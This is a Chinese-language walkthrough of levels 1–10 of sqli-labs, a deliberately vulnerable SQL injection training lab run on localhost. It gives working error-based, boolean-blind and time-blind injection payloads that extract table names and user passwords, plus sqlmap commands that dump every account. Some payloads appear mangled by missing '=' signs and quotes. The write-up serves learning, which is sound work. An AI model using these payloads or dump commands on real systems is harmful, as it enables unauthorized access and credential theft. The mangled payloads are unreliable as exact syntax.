sqli-labs通关指南(1-10)
sqli-labs通关指南1-10get提交url类型 数据长度2k35 优点速度非常快 缺点不安全明文传输post提交请求体传输 数据长度无限制 安全性高 速度比get慢浏览器不缓存数据less1Please input the ID as parameter with numeric value-请输入ID作为登陆值http://localhost/sqli-labs/Less-1/?id1后面ID的值可以自定义不同的id对应不同的用户。这里我尝试使用http://localhost/sqli-labs/Less-1/?id-1 or 11 #也可以成功。但是查看源码index.php之后可以发现这一次的查询是字符型查询区别就是http://localhost/sqli-labs/Less-1/?id-1 and 12也是可以正确执行的但是你或许会有疑问就是当你进行替换的时候id1 and 12’可以正常执行但是执行id-0却不可以产生这个疑问的原因就是与操作有一个为假整体为假。这里解释一下是因为SQL不会对字符类型中的语句进行任何操作只是简单的替换然后将字符型转换为数字型取字符型中的第一个元素也就是1后面的就不要了。less2 、3、4同上区别就是less2是数字型执行http://localhost/sqli-labs/Less-1/?id-1 and 12就会报错。但是一开始我们肯定不知道所以都用数字型是最好的个人认为less5继续输入?id1回显正常执行?id1 and 12发现页面也正常那么这应该考虑引号闭合问题使用?id1’ and 11 --得知市单引号闭合然后尝试盲注?id 1 order by 1~3 都可以正常访问修改id-1 union select 1,2,3 并不会回显内容所以尝试别的方法。方法介绍updatexml()更新xml文档的函数语法updatexml(目标xml内容xml文档路径更新的内容)实际使用updatexml( 随便写 , 要查的数据 , 随便写 )concat() 联合函数把内容拼接到一起0x7e ~ 作用就是回显的时候库名会被~包裹起来可以一眼看到信息?id1’ and updatexml(1,concat(0x7e,database(),0x7e),1) --通过添加不合法内容故意让想要的信息在报错中显示出来接下来执行?id1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --核心语句select group_concat(table_name) from information_schema.tables where table_schemadatabase()为什么使用group_concat因为如果不使用页面内容就是超过一行但是不显示内容所以使用group_concat就会使得内容在一行显示。通过该语句查询到表名emails,referers,uagents,users信息一般是在user中依次执行一下命令?id1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’),0x7e),1) --?id1’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e,(select password from users limit 0,1),0x7e),1) --也许你有疑问我记不住啊巧了我也记不住我也是网上搜的~哈哈哈less6同上但单引号双引号即可自己多动手敲一敲万一就记住了呢。less7新类型经过尝试可以知道该闭合方式应该是1’)) --但是必须修改文件才能完成这里我不想修改文件毕竟真实场景怎么会去修改人家的源文件才能做所以还是采用上面的方法less8这题用盲注解题首先了解一下盲注使用的函数length() 返回字符串长度substr() 截取字符串ascii() 返回字符串的ASCII码值sleep() 将程序挂起一段时间if(exp1,exp2,exp3) 判断语句如果第一个正确就执行第二个语句如果错误就执行第三个语句类似三目运算符执行语句?id1’ and length(database())8– 说明长度为8?id1’ and ascii(substr(database(),1,1))115– 说明第一个字符是s依次爆破。得到结果security?id1’ and exists(select * from information_schema.tables where table_name‘users’ and table_schemadatabase())– 说明user表存在?id1’ and exists(select username from users)– 说明该字段存在依次猜下去当然是有脚本的这一个一个猜太麻烦了。打开Kali自带sqlmap 执行命令sqlmap -u “http://你客户端的IP/sqli-labs/Less-8/?id1” --technique B --batch --dump这里解释一下参数-u 指定靶场地址–technique B 指定类型这里是布尔盲注–batch 自动确认所有选项默认是Y–dump 直接导出所有账号密码运行结束往上翻翻会有所有的账户信息less9这里使用时间盲注但是你会有疑问为什么怎么潘判断的我也有这样的疑问于是搜了一下可以总结为以下情况显示报错信息的----可以报错注入页面的显示要么正常要么不正常的只有真假两种情况 —布尔盲注页面无论你输入什么对与不对都是一个样—时间盲注再回来看我尝试?id-1’ and 12 --也是可以正常显示所以判断为时间盲注时间盲注的解题方法跟布尔盲注一样改一下参数sqlmap -u “http://客户端IP/sqli-labs/Less-2/?id1” --technique T --batch --dump慢非常慢less10同上